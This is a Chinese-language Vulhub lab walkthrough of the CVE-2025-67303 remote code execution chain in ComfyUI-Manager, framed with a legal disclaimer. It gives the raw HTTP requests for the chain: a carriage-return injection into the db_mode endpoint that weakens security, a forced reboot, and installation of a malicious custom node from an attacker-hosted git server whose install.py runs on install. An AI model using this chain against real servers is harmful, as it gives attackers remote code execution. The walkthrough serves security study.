重要法律与道德声明
本文仅供合法的安全研究与学习用途。所有操作均在本地或授权授权的靶场环境(如Vulhub的环境)中进行。
严禁将本文所述技术用于任何未经授权的真实系统、网络或网站。此行为是违法犯罪行为,将面临法律严惩。
文中涉及的攻击工具仅为展示漏洞危害、理解攻击原理及学习防御手段而使用。请勿将其用于非法目的。
读者因使用本文技术所造成的任何直接或间接后果,作者及发布平台均不承担责任。
安全研究的核心目的是提升防御能力,保护网络空间安全。请务必遵守《网络安全法》等相关法律法规,坚守道德底线。
在v3.38版本之前
![]()

在v3.38版本之前,ComfyUI-Manager的数据与配置目录未受Web API访问控制的充分保护。攻击者可以利用 /api/manager/db_mode 接口注入任意配置参数,包括将security_level设置为weak以禁用安全限制。结合/api/manager/reboot接口重启服务和 /customnode/install/git_url 接口安装恶意自定义节点,攻击者可以在服务器上实现远程代码执行。
该漏洞已在ComfyUI-Manager v3.38版本中通过引入"系统用户保护API"得到修复,所有配置数据被迁移至受保护的目录下。
ComfyUI是一款基于节点式工作流的Stable Diffusion专业图形界面,是开源AI绘画领域的核心项目之一。ComfyUI-Manager是ComfyUI的官方扩展管理器,负责管理自定义节点、模型和更新的安装。
https://github.com/vulhub/vulhub/blob/master/comfyui/CVE-2025-67303/evil-git-server.py
默认情况下,/customnode/install/git_url接口受安全限制保护。直接尝试安装自定义节点会返回403 Forbidden响应:
POST /customnode/install/git_url HTTP/1.1 Host: 192.168.211.128:8188 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Upgrade-Insecure-Requests: 1 If-Modified-Since: Thu, 05 Feb 2026 18:36:32 GMT If-None-Match: "18916d8f9623e000-53e" Priority: u=0, i Content-Length: 3 123

为了绕过这个限制,向/api/manager/db_mode接口发送请求,将security_level = weak配置注入到config.ini文件中。Payload中的%0D是回车符,用于在配置文件中注入新行:
GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak HTTP/1.1 Host: your-ip:8188

接着,向/api/manager/reboot接口发送请求来重启ComfyUI服务,使新配置生效。

服务器重启后(等待几秒钟让服务完全启动),在宿主机上运行evil-git-server.py脚本,启动一个本地Git HTTP服务器来托管恶意自定义节点:
python3 evil-git-server.py

脚本会输出带有随机后缀的恶意仓库URL(例如http://your-ip:9999/evil-node-ue7c4w)。向 /customnode/install/git_url 接口发送POST请求,从本地Git服务器安装恶意自定义节点。将your-ip替换为Docker容器可访问的宿主机IP地址,并使用PoC脚本输出的仓库URL:
POST /customnode/install/git_url HTTP/1.1 Host: your-ip:8188 Content-Type: text/plain http://your-ip:9999/evil-node-ue7c4w(换成生成的http)

恶意Git服务器会收到来自ComfyUI服务器的多个请求,用于克隆恶意仓库:

恶意代码会在安装过程中立即执行。
恶意自定义节点的install.py文件包含以下代码,这些代码会在安装过程中被执行:
import subprocess subprocess.run(["touch", "/tmp/success"])
可以通过检查容器内是否存在/tmp/success文件来验证命令已被执行:
docker compose exec web ls -al /tmp/

在实际攻击场景中,攻击者会将恶意自定义节点托管在公开的Git仓库中,利用此漏洞链在无需用户交互的情况下远程安装恶意节点。
提示:若想执行其他命令,在 evil-git-server.py 里修改